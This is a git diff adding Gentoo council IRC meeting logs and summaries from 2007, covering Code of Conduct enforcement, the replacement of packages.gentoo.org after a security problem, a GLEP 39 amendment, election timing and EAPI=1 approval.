+[17:28] <wolf31o2|work> robbat2: doesn't the customheaders allow for regex like the others do? if so, could we make up a regex that defaults to gentoo-dev if it's empty?
+[17:28] <wolf31o2|work> robbat2: k
+[17:28] <wolf31o2|work> we could definitely do it w/ procmail in there, too
+[17:29] <fmccor|home> jmbsvicetto, My point was simply that although this council is the council of record until after the election, it does not need to meet again (because we will have a new council in mid-September anyway).
+[17:29] <robbat2> wolf31o2|work, customheaders just get added on completely blindly
+[17:30] <wolf31o2|work> damn
+[17:30] <robbat2> that's why there was delheaders Reply-To then customheaders
+[17:30] <-- mpagano has quit (Client Quit)
+[17:30] <jmbsvicetto> fmccor|home: I understand and agree. I was just adding in, that we don't know when the next council will want to meet. So if they decide to have meetings at the end of the month, they won't even need to postpone their first meeting
+[17:30] <wolf31o2|work> I had always wondered about that... so you have to delheaders it if you're adding it to customheaders... makes sense...
+[17:30] <-- sybille (n=sybille@brc29-2-88-162-36-171.fbx.proxad.net) has left #gentoo-council
+[17:30] <fmccor|home> True.
+[17:32] <-- jaervosz has quit (Read error: 104 (Connection reset by peer))
+[17:32] <fmccor|home> jmbsvicetto, I suppose I was saying that this council need not meet again because there will be a new one next month, and 2nd Thursday is not cast in stone.
+[17:33] <jmbsvicetto> fmccor|home: true
+[17:34] * fmccor|home wanders away; seems the excitement is about over.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20071011-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20071011-summary.txt
new file mode 100644
index 00000000..11d51b3d
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20071011-summary.txt
@@ -0,0 +1,62 @@
+Summary of 11 October 2007 council meeting
+
+Present: all members, josejx proxying for lu_zero
+
+=========================================================================
+"What are not clear are (1) whether the Code of Conduct is in effect; (2)
+if so, how we enforce it."
+
+- The CoC is in effect, but it needs a new enforcement section since the 
+proctors were disbanded. The council is sending discussion of this to 
+the gentoo-project list, to come up with proposals for three points:
+	- who enforces it
+		- musikc said devrel could
+		- tsunam said userrel could
+	- how to enforce it
+		- whether it's active or passive enforcement
+		- which actions are appropriate
+
+- If the -project list does not come up with a draft, dberkholz will 
+write one based on -project discussion to vote upon at the November 
+council meeting.
+
+=========================================================================
+packages.gentoo.org: https://bugs.gentoo.org/show_bug.cgi?id=187971
+	comment #86 from marduk on rewrite
+	comment #90 re jokey's rewrite (comment #85)
+
+- The infrastructure team will decide the future of packages.gentoo.org.
+
+- KingTaco informed us that the current code will probably not return. 
+Alternatives include:
+
+	- http://packages.gentooext.net/ (written by jokey)
+	- http://spaceparanoids.org/gentoo/gpnl/ (written by beandog)
+	- http://gentoo-portage.com/
+
+- Until we get a replacement, packages.gentoo.org will link to 
+alternatives. It now links to a forums thread describing them.
+
+=========================================================================
+GLEP 39: project RFC addition
+
+- We will amend the GLEP rather than writing a new one, and a note will 
+be added saying the GLEP was amended.
+
+=========================================================================
+When does the new council term end?
+
+- Voting will always take place the same month, as mentioned in 
+http://thread.gmane.org/gmane.linux.gentoo.devel/52081/focus=52143
+
+- If the new council is delayed, it gets a slightly shortened term.
+
+=========================================================================
+Open floor
+
+- Where is the PMS repo?
+	- robbat2 has imported it. It's in git. Need to ping him for 
+	details.
+
+- The channel was not moderated during the meeting and it went well. 
+Let's try that again next time.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20071011.txt b/xml/htdocs/proj/en/council/meeting-logs/20071011.txt
new file mode 100644
index 00000000..4bbee281
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20071011.txt
@@ -0,0 +1,283 @@
+20:00 <@vapier> http://thread.gmane.org/gmane.linux.gentoo.devel/52081
+20:00 <@dberkholz> alright, it's about that time.
+20:00 <@vapier> you can cherry pick out stuff from that thread, it's the only thing i know of
+20:01 <@vapier> someone will have to volunteer to chair this month (i cant)
+20:01 <@dberkholz> would be good for a previous council member to, if possible
+20:02 -!- robbat2|na [n=robbat2@gentoo/developer/robbat2] has joined #gentoo-council
+20:02 <@FlameBook> that would be Uber
+20:04 <@vapier> sorry, what ?
+20:04 <@vapier> everything the last council decided on should be fully logged and summarized in the council project space ...
+20:06 <@dberkholz> alright. i'm seeing 3 items mentioned
+20:06 -!- think4urs11 [n=think4ur@gentoo/developer/think4urs11] has joined #gentoo-council
+20:06 <@dberkholz> 1) code of conduct. is it in effect? should it be? if so, how do we enforce it?
+20:06 <@Uber> I'm not a good chair, dberkholz is a good candidate for that
+20:06 < KingTaco> dberkholz, FYI, fmccor was very mistaken, the last council never rescended the CoC
+20:06 < KingTaco> just the proctors bit
+20:07 < KingTaco> he's got a hardon for the proctors idea though
+20:07 <@dberkholz> 2) packages.g.o. bug #187971. jokey's working on a rewrite, mentioned in comment #85 and #90. a comment from marduk regarding a rewrite on comment #86.
+20:07 < jeeves> dberkholz: https://bugs.gentoo.org/187971 cri, P2, All, bannedit0@gmail.com->taviso@gentoo.org, NEW, pending, Gentoo Website Command Injection Issue
+20:07 <@dberkholz> 3) glep 39 never got the 'project rfc' bit added to it. this should be mostly a no-brainer
+20:08 <@FlameBook> dberkholz, unless as Doug said we need to get a new glep drafted and voted upon rather than edit it
+20:08 <@FlameBook> that would take a bit more
+20:09 <@dberkholz> let's try to get through these topics one at a time, instead of mixing
+20:09 < NeddySeagoon> KingTaco The CoC page needs a rewrite as it still refers to the proctors as the enforcement body
+20:09 <@amne> i'd like to add 4) as mentioned before with the procedural stuff. i think vapier's message in http://thread.gmane.org/gmane.linux.gentoo.devel/52081/focus=52143 sums it up though
+20:09 < KingTaco> NeddySeagoon, that's probably true
+20:09 <@FlameBook> dberkholz, yeah sorry, got the first one I had at hand :/
+20:10 <@amne> any other stuff for the agenda? otherwise i'd agree with dberkholz that we focus on the issues one by one
+20:10 < NeddySeagoon> KingTaco bug 185572 which is assigned to devrel just now
+20:10 < jeeves> NeddySeagoon: https://bugs.gentoo.org/185572 nor, P2, All, neddyseagoon@gentoo.org->devrel@gentoo.org, NEW, pending, As the proctors no longer exist the code of conduct needs an upate
+20:11 <@dberkholz> i just added council@ to CC on that
+20:11 < NeddySeagoon> dberkholz probably a good idea
+20:12 <@dberkholz> i like the CoC, because it's principles-based instead of trying to go into mind-numbing detail
+20:12 <@vapier> so first off, gotta do roll call ...
+20:13 -!- Irssi: #gentoo-council: Total of 52 nicks [8 ops, 0 halfops, 2 voices, 42 normal]
+20:13 -!- musikc|work [n=musikc@gentoo/developer/musikc] has joined #gentoo-council
+20:13 <@dberkholz> amne, Betelgeuse, dberkholz, FlameBook, Uber, vapier have all spoken. anyone seen luca?
+20:13 <@vapier> vapier/dberkholz/uberlord/flameeyes/lu_zero(josejx) i see ... how about Betelgeuse / amne
+20:13 <@Betelgeuse> dberkholz: Have I?
+20:13 <@FlameBook> dberkholz, josejx is proxying
+20:13 <@dberkholz> Betelgeuse: you have now =P
+20:13 <@Betelgeuse> dberkholz: indeed
+20:13  * amne points at himself and is here
+20:14 <@dberkholz> all accounted for, with one proxy
+20:15 < josejx> Yep, I'm lu_zero for today :)
+20:16 <@dberkholz> vapier, Uber: anything else we should do before getting into the CoC discussion?
+20:17 < KingTaco> dberkholz, nothing we did after rollcall
+20:17 -!- Netsplit over, joins: Ingmar
+20:17 < KingTaco> rollcall -> topics list -> topics discussion/voting -> open floor
+20:18 < NeddySeagoon>  KingTaco Actions from the last meeting ?
+20:18 < KingTaco> NeddySeagoon, only if any carry over
+20:18 < KingTaco> the only thing we would possibly have is the pms/eapi stuff
+20:18 <@Uber> dberkholz: nope, lets get this show on the road
+20:19 <@dberkholz> alright. before we get into the CoC discussion, we need to decide what the goal of it is
+20:20 <@amne> dberkholz: imo what fmccor wrote in the council thread on -dev@: 1) is CoC in effect, and 2) how it's supposed to be executed
+20:20 <@dberkholz> here's what i think the goal is: the CoC is still in effect, but enforcement is in question.
+20:21 <@amne> i agree
+20:22 <@FlameBook> right
+20:22  * Uber nods
+20:22 <@dberkholz> ok, that's 4 of 7.
+20:23 <@dberkholz> how do we want to enforce the CoC, now that the proctors are dissolved?
+20:24 <@Betelgeuse> Well does the original problem exist that much any more any way?
+20:24 <@Uber> Betelgeuse: we don't want to be reactionary to that again
+20:24 < KingTaco> Betelgeuse, it's always been spiky
+20:24 <@Uber> some feel that CoC and proctors were rushed
+20:24 <@amne> Uber++ (twice)
+20:25 <@Betelgeuse> KingTaco: Indeed but now it can be dumped to -project. Emphasis on dump.
+20:25 <@FlameBook> Uber is right
+20:25 < KingTaco> Betelgeuse, my personal assessment is that the addition of all the lists recently has probably taken the critical mass off -dev
+20:25 <@Uber> it was a problem we didn't see until too late in the day - we still need a CoC
+20:26 < josejx> I'd say that the increase in actualy "development" happening on -dev has helped quite a bit too, things seem to be much better lately
+20:27 <@amne> the commits threads scared away the flames :-) but still i think all interested folks should work on a new policy that's approved and documented
+20:28 <@Uber> right, and that should happen on -project or some other list
+20:28 <@amne> personally i think that it'll be best solved by collaboration of dev-/userrel in cooperation of the other people already working in the moderations department (read forums mods and #gentoo ops)
+20:28 <@amne> Uber: yes
+20:30 <@dberkholz> so should we push this enforcement discussion to the -project list, then return to it next month?
+20:30 <@amne> i think it's a good idea to do so (unless someone has a better one)
+20:31 <@dberkholz> what we need to figure out is 1) who enforces it, 2) whether it's active or passive enforcement, and 3) what actions are appropriate
+20:31 < musikc|work> amne: speaking for devrel, i have no problems with us continuing to serve that function if and when appropriate
+20:32 <@dberkholz> alright.
+20:32 < musikc|work> you'd have to ask christel or tsunam about userrel but id expect a similar reaction from them
+20:33 <@dberkholz> here's the plan: discussion on -project, then come to the next council meeting with a new draft of the enforcement section to vote on.
+20:33 <@amne> musikc|work: that's good (and also current more or less documented ;-) status afaik)
+20:33 -!- tsunam [n=tsunam@gentoo/developer/tsunam] has joined #gentoo-council
+20:34 < tsunam> *poofs*
+20:34 <@dberkholz> if that draft doesn't happen by consensus, someone will need to write it. does anyone else want to do it, or shall i?
+20:34 <@FlameBook> dberkholz, why discard a volunteer? you're perfectly fit to ;)
+20:34 <@amne> dberkholz: +1 on your plan, and i'm also willing to contribute (no problem if you do the main work though, more slack for me)
+20:35 <@Uber> sounds good to me
+20:36 <@Uber> plus, dberkholz writes good docs :)
+20:36 <@dberkholz> Betelgeuse, josejx, vapier: any input before we move on to the next agenda item?
+20:37 < josejx> No, I don't think I have anything else to add
+20:38 < tsunam> musikc is correct about the userrel reaction/feeling at least from me
+20:38 < tsunam> Only thing I'd like to see is more faith in projects overall
+20:38 <@Betelgeuse> dberkholz: nope
+20:38 <@Uber> tsunam: only that can come from the participants, not from us
+20:39 < tsunam> Uber: no it has to come from the council as well
+20:39 <@amne> tsunam: musikc|work: i hope you both are on -project and will take part there, too
+20:39 < josejx> tsunam: What do you mean exactly by more faith in projects?  What could be done?
+20:39 < tsunam> as the council can kill a project if its in the "tech" sphere
+20:39 < musikc|work> amne, indeed i am and will keep an eye out for that discussion
+20:39 < tsunam> Uber: need I remind everyone about one that failed and was killed by the council?
+20:40 <@dberkholz> we're getting a bit offtopic here. let's return to this after we get through the scheduled agenda items?
+20:40 < tsunam> josejx: not jumping to inaccurate thoughts
+20:40 <@FlameBook> dberkholz, agreed
+20:40 <@amne> musikc|work: good
+20:40 < tsunam> amne: I'm not on project
+20:40 <@dberkholz> the next agenda item concerns packages.gentoo.org.
+20:42 <@dberkholz> the goal is apparently to clarify what's going to happen for a web package database in the future.
+20:42 <@FlameBook> can someone give me a summary of what happened about that? I ended up in hospital just a few days after receiving the down mail and I haven't followed it closely... I gather it needs a complete rewrite, and jokey is taking care, is that right?
+20:42 <@dberkholz> bug #187971 has close to 100 comments about this
+20:42 < jeeves> dberkholz: https://bugs.gentoo.org/187971 cri, P2, All, bannedit0@gmail.com->taviso@gentoo.org, NEW, pending, Gentoo Website Command Injection Issue
+20:43 < KingTaco> FlameBook, went down because of a sec hole, found more while it was down, assigned to security for an audit, jokey started his rewrite which infra is liking so far
+20:43 <@FlameBook> dberkholz, that's why I asked, a bit too many to read at a glance :P
+20:43 <@dberkholz> good, i wanted to hear from infra about whether they would support jokey's rewrite.
+20:43 <@dberkholz> since it seems that will be ready before a full audit of the current p.g.o code
+20:43 <@Uber> so we now have 3 code bases for the same thing?
+20:44 <@Uber> anyone else seen http://spaceparanoids.org/gentoo/gpnl/ ?
+20:44 < KingTaco> there are some reservations about the deps, but it's looking good otherwise
+20:44 < KingTaco> robbat2|na is the main infra contact there
+20:44 <@dberkholz> KingTaco: are you speaking for yourself on this, or on behalf of the infra team?
+20:44 < KingTaco> dberkholz, myself and robbat2 are the op leads
+20:45 < KingTaco> I'm speaking for infra
+20:46 <@dberkholz> are there any security people here who can say something about the likelihood of that audit getting finished anytime soon?
+20:46 < KingTaco> dberkholz, infra does not expect to put the marduk codebase back online
+20:46 <@dberkholz> ok
+20:47 < KingTaco> jokeys example is at http://packages.gentooext.net
+20:48 < KingTaco> you can see that the basic functionality is there, but there's still more work
+20:49 <+jokey> robbat2 already added some more functionality though they need adaption to mysql
+20:49 <@dberkholz> KingTaco: have you looked at beandog's package database too?
+20:49 <@dberkholz> the one Uber mentioned above
+20:49 < KingTaco> dberkholz, nope
+20:49 < KingTaco> lemme see
+20:50 <@dberkholz> mainly shows keywording now, but i could envision some design changes and minor enhancements to add the rest
+20:50 < josejx> jokey's looks nice so far
+20:50 < KingTaco> dberkholz, it's neato
+20:51 <@Uber> i use it - i actually prefer it to p.g.o as it just looks cleaner
+20:51 <@Uber> ok, no gentoo colours, but still
+20:52 <@Uber> just my tuppence worth
+20:52 < KingTaco> beandog hasn't said anything about his p.g.o to infra afaik
+20:52 < KingTaco> I don't know if he even wants to share
+20:53 <@dberkholz> from the council perspective, i'd just like to confirm that this is infra's decision.
+20:53 <@Uber> KingTaco: well, why don't you ask him?
+20:53 < KingTaco> what exactly am I confirming?
+20:53 < KingTaco> Uber, I just saw it 5 minutes ago!
+20:53 <@dberkholz> KingTaco: nothing, the council is
+20:54 < KingTaco> dberkholz, ohhhh, gotcha
+20:55 -!- agaffney [n=agaffney@gentoo/developer/pdpc.active.agaffney] has left #gentoo-council []
+20:55 <@Uber> dberkholz: yes, that decision should be with infra - they run the infra side of things. We shouldn't influence their choice of software, except for religious pokes like vim vs emacs
+20:55 <@dberkholz> council, vote please: the infrastructure team will decide the future of packages.gentoo.org.
+20:55 <@Uber> aye
+20:55 <@dberkholz> yes for me
+20:55 <@amne> ++
+20:55 <@FlameBook> good for me
+20:56 <@Betelgeuse> \o/
+20:57 <@dberkholz> Betelgeuse: is that a yes, or a smiley face i don't understand? =)
+20:57 <@Betelgeuse> btw http://gentoo-portage.com/
+20:57 <@FlameBook> dberkholz, a little man with the arms high in the air :P
+20:58 <@amne> as we seem to agree on the future of p.g.o, i'd just like to make a suggestion to infra (that is KingTaco being here), imho it would be a nice idea to have some links to the current alternatives on p.g.o until it's back.
+20:58 < josejx> Sure
+20:59 <@amne> assuming the people providing other, similar services are fine with it of course. and infra wants that, too
+20:59 <@dberkholz> that would be useful
+20:59 < KingTaco> amne, there's some policy against linking to gentoo-portage or gentoo-wiki and it wouldn't be fair to link to the others IMO
+20:59 <@amne> hm
+20:59 < jmbsvicetto> KingTaco: What about a link to the forums thread that talks about alternatives?
+21:00 <@dberkholz> i think that only really applies when we have a duplicate of the same type of service
+21:00 < KingTaco> jmbsvicetto, that we could do
+21:00 < KingTaco> gimme a url
+21:00 <@amne> sounds like a good plan (jmbsvicetto)
+21:00 <@Betelgeuse> KingTaco: http://gentoo-portage.com/
+21:00 <@Betelgeuse> KingTaco: That's one at least.
+21:01 <@FlameBook> Betelgeuse, he meant to the forum thread, I think
+21:01 < KingTaco> Betelgeuse, no, of the forum thread
+21:01 <@Betelgeuse> KingTaco: ah
+21:01 < KingTaco> there was a bug we closed that requested linking to all the different sites
+21:02 < jmbsvicetto> KingTaco: https://forums.gentoo.org/viewtopic-t-574544.html shoud work unless amne has a better one
+21:02 < jmbsvicetto> should*
+21:03 <@amne> jmbsvicetto: i would have suggested the same, perhaps some useful info from the thread can be summarized in the first post by a volunteer... like you :-P
+21:03 <@amne> KingTaco: that would be useful, too if you could find it
+21:03 -!- desultory [n=dean@gentoo/developer/desultory] has joined #gentoo-council
+21:05 <@dberkholz> alright, let's move on to the next agenda item.
+21:05 <@dberkholz> the previous council voted to require RFC's to -dev for new projects, but it was never added to glep 39.
+21:05 <@dberkholz> goal: to decide whether to modify the glep or to add a new one
+21:06 <@dberkholz> we have already modified glep 39 once: http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/glep/glep-0039.txt?view=log
+21:07 <@dberkholz> a note was added to the Status noting that it was amended
+21:07 < KingTaco> fyi, p.g.o updated with that forums link
+21:08 <@amne> KingTaco: cheers
+21:09 <@amne> if updating is OK with our policies (which i'm not perfectly sure), i think it would the process easier
+21:09 <@FlameBook> I would also consider just amending it
+21:10 <@Betelgeuse> http://www.gentoo.org/proj/en/glep/glep-0001.html#reporting-glep-bugs-or-submitting-glep-updates
+21:10 <@Betelgeuse> GLEP says GLEPs can be updated.
+21:10 <@Betelgeuse> +1
+21:11 <@vapier> it should really be a community thing ... if you're an asshat, people should let you know ... if you continue to be an asshat, you get ejected ... unfortunately, i dont think our community is tight enough to do that
+21:12 < jmbsvicetto> vapier: Are you talking about having new projects approved on -dev or about having council removing people/leads/projects?
+21:12 <@dberkholz> vapier: is that back to the CoC discussion?
+21:12 <@amne> Betelgeuse: ah, that's fine then -> +1 amending
+21:12 <@dberkholz> i'm for amendments also
+21:13 <@dberkholz> that's amne, Betelgeuse, FlameBook and i, so we'll just amend it.
+21:14 <@dberkholz> that was the last agenda item
+21:15 <@Uber> cool
+21:15 <@amne> uhm
+21:15 <@Uber> anyone want to add anything before we open to the floor?
+21:15 <@amne> 22:08 <@amne> i'd like to add 4) as mentioned before with the procedural stuff. i think vapier's message in  http://thread.gmane.org/gmane.linux.gentoo.devel/52081/focus=52143 sums it up though
+21:15 <@vapier> i think my ping is off the charts ... but that sounds good for the CoC
+21:17 <@Uber> vapier: so bad you should be dropping packets :P
+21:17 <@dberkholz> amne: agreed. i think the original glep also can be interpreted most reasonably that way.
+21:18 <@Uber> yeah, mike did a good summary there
+21:18 <@amne> so that leaves us with 11 meetings though which is in conflict with what chris wrote in http://thread.gmane.org/gmane.linux.gentoo.devel/52081/focus=52179
+21:18 <@FlameBook> agreed mike++
+21:19 <@amne> basically the 11 meetings part. i don't have a problem with it though
+21:20 <@dberkholz> the original glep says "Council members will be chosen by a general election of all devs once per year." which i read as saying the election happens at the same time each year.
+21:21 < KingTaco> I suggest that the existing council take the initative to start the election process at the right time
+21:21 < KingTaco> we should have last year
+21:21 < KingTaco> er, this year
+21:22 <@amne> KingTaco: i'm not 100% following - right time being the same time as every year?
+21:22 <@Uber> ok, so we done for tonight?
+21:22 < KingTaco> amne, whenever it's the right time.  there seems to be some disagreement
+21:22 < jmbsvicetto> KingTaco: In that spirit, it wouldn't hurt to have the council explicitly approving the calendar for the election ;)
+21:22 <@amne> heh
+21:23 <@dberkholz> since we don't seem to be sure, let's have a vote.
+21:23 -!- astinus [n=alex@gentoo/developer/astinus] has joined #gentoo-council
+21:23  * Uber votes we maintain the dates as is, and kick infra butt next election
+21:23 < KingTaco> Uber, it's not infra, it's election officials
+21:23 <@FlameBook> I vote for mike's summary, keeping the dates in the same period
+21:23 < jmbsvicetto> dberkholz: It seems there wasn't a disgreement about the process, only about the dates / this council term duration
+21:23 <@dberkholz> vote: should elections be the same month every year, regardless of whether that shortens the council term (except as contradicted by glep 39's reelection rule)?
+21:23 < KingTaco> used to be grant did it
+21:23 <@Uber> KingTaco: whatever, kicking off someones butts
+21:23 < josejx> I'd vote to keep the dates the same.  I don't see a good reason to change it
+21:24 <@Uber> of*
+21:24 < KingTaco> Uber, yes
+21:24  * amne votes ++ on what dberkholz/vapier's email said
+21:24 <@Uber> well, that's an easy majority
+21:24 <@dberkholz> alright.
+21:25 <@dberkholz> any other issues for the open floor?
+21:25 <@Uber> yeah, who kept an irc log of this?
+21:25 < jmbsvicetto> So can you please add to the council page that the nominations for the council take place in July and the voting on August?
+21:25 <@amne> i have one
+21:25 <@dberkholz> i should have a log.
+21:25 <@dberkholz> i've also got a summary written
+21:25 <@dberkholz> anyone else got a summary yet?
+21:26 < jmbsvicetto> And please add that the election officials need to be selected before the nominations start
+21:26 <@Uber> wooooo, volunteers for summary writing!
+21:26 <@amne> dberkholz: no summary here, but i can write one or look over yours
+21:27 <@dberkholz> http://dev.gentoo.org/~dberkholz/20071011-summary.txt
+21:28 < tove> 5) topic of every meeting: status of pms? where is the repo today?
+21:28 <@amne> dberkholz: looks good, i'd just change "Until we get a replacement, packages.gentoo.org will link to
+21:28 < KingTaco> robbat2 has imported their repo
+21:28 < KingTaco> tove ^^
+21:28 < jmbsvicetto> tove: I thought that was solved on last council's meeting
+21:28 <@amne> alternatives." to "will indirectly link..." perhaps
+21:29 < tove> jmbsvicetto: the summary of last meeting doesn't really help.
+21:29 < tove> KingTaco: how to access the repo?
+21:29 <@dberkholz> i don't feel the need to specify that implementation detail... do you?
+21:29 < KingTaco> tove, I think it's git.  you need to ping him
+21:29 -!- dertobi123 [n=tobias@gentoo/developer/dertobi123] has joined #gentoo-council
+21:29 <@amne> dberkholz: probably best to ask KingTaco because of infra's link policy if it's important to mention it
+21:30 <@amne> KingTaco: ^^^
+21:30 < KingTaco> amne, I'm not sure who's policy it is tbh
+21:30 <@amne> ah ok let's just ignore my "improvement" then ;-)
+21:30 < KingTaco> amne, but it's one we respect
+21:30 <@amne> or whatever is fine for everyone
+21:31 <@dberkholz> i added a little bit.
+21:31 <@dberkholz> alright. vote to adjourn?
+21:33 <@amne> just a quick note from side on the way the meeting went (but we can talk about that once the meeting is officially closed as well): i think the meeting went well besides the channel wasn't moderated
+21:33 <@amne> as long it works out civil, it may be something i'd like to consider for the next meetings, too
+21:33 <@amne> other then that adjourn++
+21:33 <@dberkholz> i agree, i discussed that with jokey in query.
+21:34 <@FlameBook> totally agreed with amne
+21:35 <@dberkholz> amne and i are ready to adjourn until next month. how about the rest of you?
+21:35 <@FlameBook> I was agreeing with that too :P
+21:36  * Uber is done here
+21:37 -!- Ingmar^ [n=ingmar@83.101.12.135] has joined #gentoo-council
+21:37 -!- Ingmar [n=ingmar@83.101.12.167] has quit [Nick collision from services.]
+21:37 <@dberkholz> that's a majority. the meeting's over; i will send summary and log
+21:37 <@dberkholz> which lists should they go to?
+21:37 -!- doc|work [n=doc@gentoo/contributor/doc-007] has left #gentoo-council ["."]
+21:38 <@amne> dberkholz: since the meeting is also announced on -dev@, it would be a good place to see it there. other than that, council list?
+21:38 <@dberkholz> i was thinking -dev, -dev-announce, -council
+21:38 < jmbsvicetto> dberkholz: dev-announce and council?
+21:38 <@amne> -dev-announce, good idea
+21:39 <@amne> and reply to -dev@?
+21:40 -!- Ingmar^ is now known as Ingmar
+21:40 < tove> dberkholz: please don't send the log itself -- just add a link to proj/en/council/meeting-logs/..
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20071108-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20071108-summary.txt
new file mode 100644
index 00000000..31daa351
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20071108-summary.txt
@@ -0,0 +1,110 @@
+amne        here
+betelgeuse  absent (1 hour late)
+dberkholz   here
+flameeyes   here
+lu_zero     here
+vapier      absent (no show)
+uberlord    resigned
+jokey       here (replacing uberlord)
+
+Agenda:
+http://thread.gmane.org/gmane.linux.gentoo.devel/52772
+
+Also continuing discussion on CoC enforcement. Proposal:
+http://thread.gmane.org/gmane.linux.gentoo.council/82
+
+==============================================================================
+
+Empty council slot: vote for Jokey to happen on gentoo-council list
+-------------------------------------------------------------------
+
+Jokey is the candidate to replace uberlord [1], and it requires a 
+unanimous council vote [2]. Since not all council members are present, 
+we'll do this vote on the gentoo-council list. All 6 present council 
+members supported Jokey's addition.
+
+1. http://www.gentoo.org/proj/en/council/meeting-logs/20070208-summary.txt
+2. http://www.gentoo.org/proj/en/council/voting-logs/council-2007-vote-distribution.txt
+
+
+Daylight savings change: no slacker marks
+-----------------------------------------
+
+In the US and Europe, 2000 UTC shifted by an hour in local time. The 
+email announcement was wrong, so we will not give slacker marks to the 
+two absent council members.
+
+vapier needs to fix his script before the next announcement.
+
+
+EAPI=1 approved for use in the main tree
+----------------------------------------
+
+Stable portage version 2.1.3.12 supports EAPI=1. It's now officially OK 
+to start using it in the main tree. From the ebuild ChangeLog for 
+portage:
+
+  This release is the first to have support for EAPI-1 (#194876), which 
+  includes SLOT dependencies (#174405), IUSE defaults (#174410), and 
+  ECONF_SOURCE support for the default src_compile function (#179380). 
+  Package maintainers should carefully consider the backward compatibility 
+  consequences before defining EAPI="1" in any ebuilds, especially if
+  other packages depend on those ebuilds. See the ebuild(5) and emerge(1) 
+  manual pages for EAPI related documentation.
+
+EAPI=1 features are documented in PMS as well as the man pages, but they 
+are not yet documented in the devmanual or the dev handbook.
+
+Code of Conduct enforcement proposal: generally positive feedback
+-----------------------------------------------------------------
+
+dberkholz sent out a proposal this morning [1], so we just discussed it 
+today instead of voting. Initial feedback from council members was 
+positive. Some concerns came up on the list about time zone differences 
+and coverage, which were brought up again during the meeting.
+
+People generally agreed that although the environment is better now, it 
+hasn't been before and won't always be good.
+
+lu_zero brought up the point that since things are fairly good now, we 
+don't need to rush through this process and we can take our time and do 
+things right.
+
+Council support for the team's actions should not be as controversial 
+with the requirement that all actions be private.
+
+The team will need to create the tools to deal with the actions it needs 
+to take (short-term moderation on IRC, mailing lists, and Bugzilla). 
+This could happen during the initial training period suggested on the 
+gentoo-council list.
+
+If there's already existing moderation somewhere (for example many of 
+the #gentoo-* IRC channels or the forums), the team will first liaise 
+with them rather than preempt them. All official Gentoo forums must 
+adhere to the CoC, however; having their own moderation does not exclude 
+them from following Gentoo's standards as a whole.
+
+The expectation is that successive actions against the same person will 
+increase in length, eventually reaching the 3-day cutoff that requires 
+council approval and forwarding to devrel/userrel. The idea is that if 
+someone keeps violating the CoC after a given length of moderation, it 
+apparently wasn't enough so it shouldn't be repeated.
+
+Next month, we will vote on a concrete proposal.
+
+1. http://thread.gmane.org/gmane.linux.gentoo.council/82
+
+
+Baselayout-2: uberlord will continue to maintain it
+---------------------------------------------------
+
+lu_zero asked whether we had anything to do about baselayout-2 since 
+uberlord resigned. He's continuing to maintain it in a git repository 
+and will remain upstream for it. More details will emerge over time.
+
+kingtaco raised the question of trusting external releases and hosts. 
+Some responses suggested that using git may prevent the malicious host, 
+because of the possibility of GPG-signed tags. He mentioned the 
+possibility of the infra team hosting Gentoo-critical repositories with 
+access by non-Gentoo developers. It's just an idea at this point, but 
+he's going to talk to the rest of the infra team.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20071108.txt b/xml/htdocs/proj/en/council/meeting-logs/20071108.txt
new file mode 100644
index 00000000..d1ee15d6
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20071108.txt
@@ -0,0 +1,479 @@
+20:01 <@dberkholz> anyone got a web link to the agenda thread? not a whole lot on it
+20:01  * jokey ties amne to $chair
+20:01 -!- nox-Hand [i=johnhand@unaffiliated/nox-hand] has joined #gentoo-council
+20:01 -!- Netsplit anthony.freenode.net <-> irc.freenode.net quits: cruxeternus, peper, koxta
+20:01 < nox-Hand> Am I too late to talk?
+20:01 < nox-Hand> And HAI by the way if I can talk
+20:02 <@dberkholz> http://thread.gmane.org/gmane.linux.gentoo.devel/52772
+20:02 -!- Netsplit over, joins: cruxeternus, koxta, peper
+20:03 <@dberkholz> alright, roll call
+20:03 <@dberkholz> who's here?
+20:03 <@amne> amne:
+20:03  * Flameeyes present
+20:03  * jokey me
+20:03 <@amne> uberlord is absent due to his resignation, which also makes it a point for the agenda
+20:03 <@amne> ah, hi jokey :-)
+20:04 <@dberkholz> amne: yes, that's on the linked thread
+20:05 <@amne> dberkholz: yupp
+20:06 <@amne> so where's the rest?
+20:06 <@dberkholz> lu_zero, vapier, SpanKY, Betelgeuse: where are ya?
+20:07 < nox-Hand> Late reply to the roll call, I am here, but not sure if that matters any..
+20:07 <@dberkholz> nox-Hand: just council members; feel free to chip in later on, when the discussion you're interested in is happening
+20:07 <+jokey> nox-Hand: erm nop, council people now...
+20:07 -!- NeddySeagoon [n=NeddySea@gentoo/developer/NeddySeagoon] has joined #gentoo-council
+20:08 < nox-Hand> jokey: dberkholz I Figured as much, cheers, I'll start chirping at my allocated chirpy time :]
+20:09 -!- uberpinguin [n=uberping@unaffiliated/uberpinguin] has joined #gentoo-council
+20:09 <@amne> hm
+20:10  * igli gags nox-Hand
+20:10 <@amne> due to the change to daylight savings in europe the meeting is an hour earlier today
+20:10 < NeddySeagoon> amne, everyone beaten by the hour change last week ?
+20:10 <@amne> i guess that could explain why lu_zero and Betelgeuse aren't here (both europeans, aren't they?)
+20:10 < fmccor> Even US has changed now.
+20:10 <@Flameeyes> amne, yeah they are, but as fmccor, us already catched up
+20:11 <@amne> ah
+20:11 <@dberkholz> can someone help me find the council summary link where it says the next highest voted person will fill an empty spot
+20:11 <+jokey> so should we delay another bit? ;)
+20:11 <@Flameeyes> dberkholz, should be around february last year
+20:11 <@amne> council.g.o doesn't work for me right now, anyone else got the same problem?
+20:12 <@amne> http://c.g.o to be more accurate
+20:12 <@Flameeyes> dberkholz, http://www.gentoo.org/proj/en/council/meeting-logs/20070208-summary.txt
+20:12 < NeddySeagoon> dberkholz, I don't think it was ever written down in the process but its established as custom and practice now
+20:12 <+jokey> amne: WORKSFORME
+20:12 <@Flameeyes> NeddySeagoon, that link above
+20:12 -!- Netsplit anthony.freenode.net <-> irc.freenode.net quits: musikc, mpagano__, genone, zxy_64
